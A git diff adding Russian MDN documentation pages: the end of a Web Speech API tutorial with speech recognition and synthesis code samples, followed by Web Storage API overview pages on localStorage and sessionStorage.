+
+<p dir="ltr">Это делается с помощью конструктора <code>SpeechRecognition()</code>. Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор <code>SpeechGrammarList()</code>.</p>
+
+<pre>const recognition = new SpeechRecognition();
+const speechRecognitionList = new SpeechGrammarList();</pre>
+
+<p>Добавляем нашу “грамматику” в список, используя метод <code>SpeechGrammarList.addFromString()</code>. Он принимает в качестве параметров строку, плюс необязательное значение веса, которое указывает важность этой грамматики по отношению к другим грамматикам, доступным в списке (может быть от 0 до 1 включительно). Добавленная грамматика доступна в списке как экземпляр объекта <code>SpeechGrammar</code>.</p>
+
+<pre class="brush: js">speechRecognitionList.addFromString(grammar, 1);
+</pre>
+
+<p dir="ltr">Затем мы добавляем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> к уже созданному объекту распознавания речи, присваивая его значение свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr"><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/lang">SpeechRecognition.lang</a></code>: устанавливает язык распознавания. Его установка - это хорошая практика, поэтому рекомендуется не пропускать.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr"><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/interimResults">SpeechRecognition.interimResults</a></code>: определяет, должна ли система распознавания речи возвращать промежуточные результаты или только конечные результаты. Только конечные результаты подойдут для этой нашего простого приложения.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr"><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/maxAlternatives">SpeechRecognition.maxAlternatives</a></code>: устанавливает количество альтернативных потенциальных совпадений, которые должны быть возвращены на каждый результат. Иногда это может быть полезно, скажем, если результат распознан не точно, и вы хотите отобразить пользователю список вариантов. Но это для простого примера это не нужно, поэтому мы просто указываем один (который по сути является вариантом по умолчанию).</p>
+ </li>
+</ul>
+
+<pre class="brush: js">recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'ru-RU';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+</pre>
+
+<div class="note">
+<p dir="ltr"><strong>Внимание:</strong>  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.</p>
+
+<p dir="ltr">Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.</p>
+</div>
+
+<h4 id="Запуск_распознавания_речи">Запуск распознавания речи</h4>
+
+<p>После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик <code>onclick</code>, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции <code>SpeechRecognition.start()</code>.</p>
+
+<pre>microphoneIcon.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+};
+
+recognition.onaudiostart = function() {
+  microphoneWrapper.style.visibility = 'hidden';
+  audioRecordAnimation.style.visibility = 'visible';
+};
+</pre>
+
+<h4 id="Получение_и_обработка_результата">Получение и обработка результата</h4>
+
+<p>После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Список обработчиков событий SpeechRecognition</a>.) Наиболее распространенный, который вы, вероятно, и будете использовать, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции <code>getColor()</code></p>
+
+<pre>function getColor(speechResult) {
+  for (let index = 0; index &lt; colorsList.length; index += 1) {
+    if (speechResult.indexOf(colorsList[index]) !== -1) {
+      const colorKey = colorsList[index];
+      return [colorKey, colors[colorKey]];
+    }
+  }
+  return null;
+}
+
+recognition.onresult = function(event) {
+  const last = event.results.length - 1;
+  const colors = getColor(event.results[last][0].transcript);
+  recognitionTextResult.textContent = 'Результат: ' + colors[0];
+  speechRecognitionSection.style.backgroundColor = colors[1];
+  console.log('Confidence: ' + event.results[0][0].confidence);
+};</pre>
+
+<p>Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> возвращает объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содержащий в себе другие объекты типа <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная <code>last</code> определяет ссылку на <code>SpeechRecognitionResult</code> из списка. Каждый объект <code>SpeechRecognitionResult</code> содержит объекты <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение <code>SpeechRecognitionAlternative</code> по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.</p>
+
+<p>Мы также используем свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onspeechend">SpeechRecognition.speechend</a></code>, чтобы задать обработчик на завершение работы распознавателя речи (вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/stop">SpeechRecognition.stop()</a></code> ), как только одно слово было распознано, и входящий речевой поток был остановлен.</p>
+
+<pre>recognition.onspeechend = function() {
+  recognition.stop();
+  microphoneWrapper.style.visibility = 'visible';
+  audioRecordAnimation.style.visibility = 'hidden';
+};
+
+</pre>
+
+<h4 id="Обработка_ошибок">Обработка ошибок</h4>
+
+<p>Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:</p>
+
+<pre>recognition.onnomatch = function(event) {
+  alert("I didn't recognise that color.");
+};</pre>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onerror">SpeechRecognition.onerror</a></code> обрабатывает случаи, когда имела место быть фактическая ошибка при распознавании. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionError/error">SpeechRecognitionError.error</a></code> содержит возвращаемую фактическую ошибку:</p>
+
+<pre>recognition.onerror = function(event) {
+  alert(`Error occurred in recognition: ${event.error}`);
+};
+</pre>
+
+<h2 id="Синтез_речи">Синтез речи</h2>
+
+<p>Синтез речи (text-to-speech или tts) подразумевает получение синтезированного текста приложения и его речевое воспроизведение.<br>
+ <br>
+ Для этой цели Web Speech API предоставляет интерфейс - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code> - плюс ряд близких интерфейсов для нужного нам воспроизведения текста (utterances - “дикция”), набор голосов, которыми приложение будет “говорить”, и т. д.<br>
+ Опять же, большинство ОС имеют некоторые встроенные системы синтеза речи, которые будут задействованы нашим API для этой цели.</p>
+
+<h3 id="Демо_2">Демо</h3>
+
+<p>То же самое приложение из предыдущего примера.<br>
+ <a href="https://ru.web-speech-api-example.cheliz.top/">Ccылка на приложение</a> или <a href="https://github.com/Oleg-Miniuk/ru_web_speech_example">репозиторий</a> (клонируем, затем <code>npm install &amp;&amp; npm run start</code> в терминале, после чего открыть <strong>localhost:4001</strong> в браузере).<br>
+ <br>
+ Пользовательский интерфейс включает в себя набор элементов для ввода текста, задания высоты тона, скорости воспроизведения и непосредственного выбора голоса, которым будет текст произнесен.</p>
+
+<p>После ввода текста вы можете нажать <strong>Play</strong> для запуска.</p>
+
+<p><img alt="" src="https://pp.userapi.com/c847220/v847220505/1103b9/Jlnq5hDThyQ.jpg" style="height: 529px; width: 634px;"></p>
+
+<h3 id="Браузерная_поддержка_2">Браузерная поддержка</h3>
+
+<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr">Мобильный и десктопный Firefox поддерживает его в Gecko 44+ без префиксов, и его можно включить, установив значение флага media.webspeech.synth.enabled на true в about:config</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Chrome для настольных компьютеров и версия для Android поддерживали его с версии 33 без префиксов</p>
+ </li>
+</ul>
+
+<ul>
+ <li>
+  <p>Традиционно, самая актуальная информация по поддержке чего-либо в браузерах на <a href="https://caniuse.com/#search=SpeechSynthesis">caniuse</a>.</p>
+ </li>
+</ul>
+
+<h3 id="HTML_и_CSS_2">HTML и CSS</h3>
+
+<p>HTML и CSS снова достаточно тривиальны.<br>
+ Заголовок и форму с некоторыми простыми элементами управления.<br>
+ Элемент <code>&lt;select&gt; </code>изначально пуст, но заполняется с помощью <code>&lt;option&gt;</code> через JavaScript (см. ниже).</p>
+
+<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p>
+
+<pre>&lt;section&gt;
+  &lt;h1&gt;Синтез речи&lt;/h1&gt;
+  &lt;p&gt;Введите текст в поле ниже и нажмите кнопку "Play", чтобы прослушать запись. Выбирайте возможные голоса из списка ниже&lt;/p&gt;
+
+  &lt;form&gt;
+    &lt;input type="text" class="text"&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="values-box"&gt;
+        &lt;div class="value-box"&gt;
+          &lt;div&gt;Темп (Rate)&lt;/div&gt;
+          &lt;div class="value value--rate-value"&gt;1&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="value-box"&gt;
+          &lt;div&gt;Диапазон (Pitch)&lt;/div&gt;
+          &lt;div class="value value--pitch-value"&gt;1&lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+
+      &lt;div class="ranges-box"&gt;
+        &lt;input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"&gt;
+        &lt;input type="range" min="0" max="2" value="1" step="0.1" id="pitch"&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;select&gt;
+    &lt;/select&gt;
+
+    &lt;button id="play" type="submit"&gt;Play&lt;/button&gt;
+
+  &lt;/form&gt;</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<p>Давайте более детально рассмотрим скрипт, задающий логику нашему приложения.</p>
+
+<h4 id="Задание_переменных">Задание переменных</h4>
+
+<p>Прежде всего, создаем ссылки на все нужные нам DOM-элементы.</p>
+
+<p dir="ltr">Входная точка API - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/speechSynthesis">window.speechSynthesis</a></code>, возвращает экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code>, интерфейс контроллера для синтеза речи в вебе.</p>
+
+<pre>const synth = window.speechSynthesis;
+const inputForm = document.querySelector('form');
+const inputTxt = document.querySelector('.text');
+const voicesList = document.querySelector('select');
+const pitch = document.querySelector('#pitch');
+const pitchValue = document.querySelector('.value--pitch-value');
+const rate = document.querySelector('#rate');
+const rateValue = document.querySelector('.value--rate-value');
+let voices = [];</pre>
+
+<h4 id="Заполнение_выпадающего_списка">Заполнение выпадающего списка</h4>
+
+<p>Чтобы заполнить элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select">&lt;select&gt;</a></code> различными вариантами голоса, доступных на устройстве, напишем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Сначала мы вызываем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, который возвращает список всех доступных вариантов голосов, представленных объектами <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Затем мы проходимся по списку, создавая элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option">&lt;option&gt;</a></code> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> возвращает значение <code>true</code>.)</p>
+
+<p>Мы также задаем <code>data-</code> атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<code>&lt;select&gt;</code>).</p>
+
+<pre>function populateVoiceList() {
+  voices = synth.getVoices();
+  const selectedIndex =
+  voicesList.selectedIndex &lt; 0 ? 0 : voicesList.selectedIndex;
+  voicesList.innerHTML = '';
+
+  for(i = 0; i &lt; voices.length ; i++) {
+    const option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+  voicesList.selectedIndex = selectedIndex;
+}</pre>
+
+<p>Когда мы собираемся запустить функцию, мы делаем следующее. Это связано с тем, что Firefox не поддерживает свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/onvoiceschanged">SpeechSynthesis.onvoiceschanged</a></code> и будет только возвращать список голосов при запуске <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>. Однако, в Chrome вам нужно дождаться триггера события перед заполнением списка, следовательно, нужно условие, описанное в блоке с <code>if</code> ниже.</p>
+
+<pre>populateVoiceList();
+  if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}</pre>
+
+<h4 id="Озвучка_введенного_текста">Озвучка введенного текста</h4>
+
+<p>Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку <code>Enter/Return</code> или на <code>Play</code>. Для этого используем обработчик <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> в html-формы. В функции-обработчике <code>speak()</code> мы создаем новый экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, передавая значение текстового поля в конструктор.</p>
+
+<p dir="ltr">Затем нам нужно выяснить, какой голос использовать. Мы используем свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получения выбранного элемента <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option">&lt;option&gt;</a></code>, у которого берем атрибут data-name, и находим объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p>
+
+<p>Наконец, мы устанавливаем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/pitch">SpeechSynthesisUtterance.pitch</a></code> (высота тона) и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/rate">SpeechSynthesisUtterance.rate</a></code> (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speak">SpeechSynthesis.speak()</a></code>, и передавая ему экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance">SpeechSynthesisUtterance</a></code> в качестве аргумента.</p>
+
+<p>Внутри функции <code>speak()</code> мы выполняем проверку на то, воспроизводится ли речь в данный момент, с помощью свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speaking">SpeechSynthesis.speaking</a></code> <br>
+ Если да, то останавливаем процесс функцией <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/cancel" title="The cancel() method of the SpeechSynthesis interface removes all utterances from the utterance queue.">SpeechSynthesis.cancel()</a></code> и запускаем рекурсивно заново.</p>
+
+<p>В последней части функции мы включаем обработчик <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/onpause">SpeechSynthesisUtterance.onpause</a></code>, чтобыпоказать пример применения <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisEvent">SpeechSynthesisEvent</a></code> в различных ситуациях. Вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/pause">SpeechSynthesis.pause() </a></code>возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.</p>
+
+<p>Наконец, мы назовем <code>blur()</code> у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.</p>
+
+<pre>function speak() {
+  if (synth.speaking) {
+    console.error('speechSynthesis.speaking');
+    synth.cancel();
+    setTimeout(speak, 300);
+  } else if (inputTxt.value !== '') {
+      const utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+      utterThis.onend = function(event) {
+        console.log('SpeechSynthesisUtterance.onend');
+      };
+
+      utterThis.onerror = function(event) {
+        console.error('SpeechSynthesisUtterance.onerror');
+      };
+      const selectedOption = voicesList.selectedOptions[0].getAttribute('data-name');
+
+      for (i = 0; i &lt; voices.length; i++) {
+        if (voices[i].name === selectedOption) {
+          utterThis.voice = voices[i];
+        }
+      }
+
+      utterThis.onpause = function(event) {
+        const char = event.utterance.text.charAt(event.charIndex);
+        console.log('Speech paused at character ' +
+          event.charIndex +
+          ' of "' +
+          event.utterance.text +
+          '", which is "' +
+          char +
+          '".'
+        );
+      };
+
+      utterThis.pitch = pitch.value;
+      utterThis.rate = rate.value;
+      synth.speak(utterThis);
+    }
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+  speak();
+  inputTxt.blur();
+};
+</pre>
+
+<h4 id="Обновление_отображаемых_значений_высоты_тона_и_скорости">Обновление отображаемых значений высоты тона и скорости</h4>
+
+<p>Последний пример кода просто обновляет значения высоты тона/скорости, отображаемые в пользовательском интерфейсе, каждый раз, когда позиции ползунка перемещаются.</p>
+
+<pre>pitch.onchange = function() {
+  pitchValue.textContent = pitch.value;
+};
+
+rate.onchange = function() {
+  rateValue.textContent = rate.value;
+};
+</pre>
diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html
new file mode 100644
index 0000000000..79f5954012
--- /dev/null
+++ b/files/ru/web/api/web_storage_api/index.html
@@ -0,0 +1,146 @@
+---
+title: Веб хранилище (API)
+slug: Web/API/Web_Storage_API
+translation_of: Web/API/Web_Storage_API
+---
+<p>Web Storage API предоставляет механизмы, при помощи которых браузеры могут безопасно хранить пары ключ/значение в более интуитивно понятной манере, чем куки (cookies).</p>
+
+<h2 id="Основы_Веб_хранилища_и_его_использование">Основы Веб хранилища и его использование</h2>
+
+<p>В основе Веб хранилища лежат два механизма: </p>
+
+<ul>
+ <li><code>хранилище сессии (sessionStorage)</code> обслуживает область хранения данных для каждого домена, доступное на протяжении сессии. (пока браузер открыт, даже в случае перезагрузки страницы) </li>
+ <li><code>локальное хранилище (localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li>
+</ul>
+
+<p>Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект <code>Window</code>  выполняет объекты <code>WindowLocalStorage</code> и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code> и <code>sessionStorage</code>) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. </p>
+
+<div class="note">
+<p><strong>Замечание: </strong>Начиная с версии 45 Firefox, когда браузер крашится/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание: </strong>Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">отключил cookies третьих сторон</a> (Firefox ведёт себя так с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">версии 43</a>).</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание:</strong> Web Storage это не тоже самое, что <a href="/ru/docs/Storage" title="Storage">mozStorage</a> (Mozilla's XPCOM интерфейсы для SQLite) или <a href="/ru/docs/Session_store_API" title="Session_store_API">Session store API</a> (<a href="/ru/docs/XPCOM" title="XPCOM">XPCOM</a> утилита хранения для расширений).</p>
+</div>
+
+<h2 id="Интерфейсы_Веб_хранилища">Интерфейсы Веб хранилища</h2>
+
+<dl>
+ <dt>{{domxref("Storage")}}</dt>
+ <dd>Позволяет присваивать, извлекать (читать) и удалять данные для специфического домена и типа хранилща (сессии или локального).</dd>
+ <dt>{{domxref("Window")}}</dt>
+ <dd>Web Storage API расширяет {{domxref("Window")}} объект, добавляя к нему два новых свойства  — {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} — которые предоставляют доступ к сессии текущего домена и к соответствующим локальным {{domxref("Storage")}} объектам, и {{domxref("Window.onstorage")}} обработчик событий, который срабатывает при изменении объекта хранилища (например, при сохранении нового элемента)</dd>
+ <dt>{{domxref("StorageEvent")}}</dt>
+ <dd>Событие <code title="event-storage">storage</code> срабатывает на объекте документа <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Window</span></font> при изменении объекта хранилища.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">лендинге</a> нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мнгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. </p>
+
+<p>Также, мы сделали <a href="http://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a>, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая иформация.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>У каждого браузера свои объемы localStorage и sessionStorage. Здесь об <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничениях размеров хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Замечание: </strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.</p>
+</div>
+
+<h2 id="Приватный_режимИнкогнито">Приватный режим/Инкогнито</h2>
+
+<p>Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.</p>
+
+<p>Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.</p>
+
+<p>Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на <a href="https://blog.whatwg.org/tag/localstorage">этот пост блога WHATWG</a>, специонально посвященный этой теме.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/onfocus-html5-storage-apis-b45d92aa424b">HTML5 Storage API By Venkatraman</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
new file mode 100644
index 0000000000..584cacef31
--- /dev/null
+++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
@@ -0,0 +1,242 @@
+---
+title: Использование Web Storage API
+slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+---
+<div class="summary">
+<p>Web Storage API предоставляет механизм, при помощи которого браузер может безопасно хранить пары ключей/значениий в намного более интуитивной форме, чем используя cookies. Эта статья предоставляет пошаговое руководство о том, как использовать эту простую технологию.</p>
+</div>
+
+<h2 id="Основные_концепции">Основные концепции</h2>
+
+<p>Storage объекты простые хранилища вида ключ-значение, похожие чем-то на объекты, но они остаются неизменными при загрузке страницы.  Ключи и значения всегда являются строками (обратите внимание, что числовые ключи будут автоматически конвертироваться в строку, точно также как объекты).  Вы можете получить доступ к этим значениям как в объектах, или getItem() и setItem() методами.  Все три строки ниже устанавливают одинаковое значение в  colorSetting:</p>
+
+<pre style="white-space: pre;">localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+</pre>
+
+<p>В основе Веб хранилища лежат два механизма:</p>
+
+<ul>
+ <li><code>(sessionStorage)</code> обслуживает область хранения данных для каждого домена, доступное на протяжении сессии. (пока браузер открыт, даже в случае перезагрузки страницы)</li>
+ <li><code>(localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li>
+</ul>
+
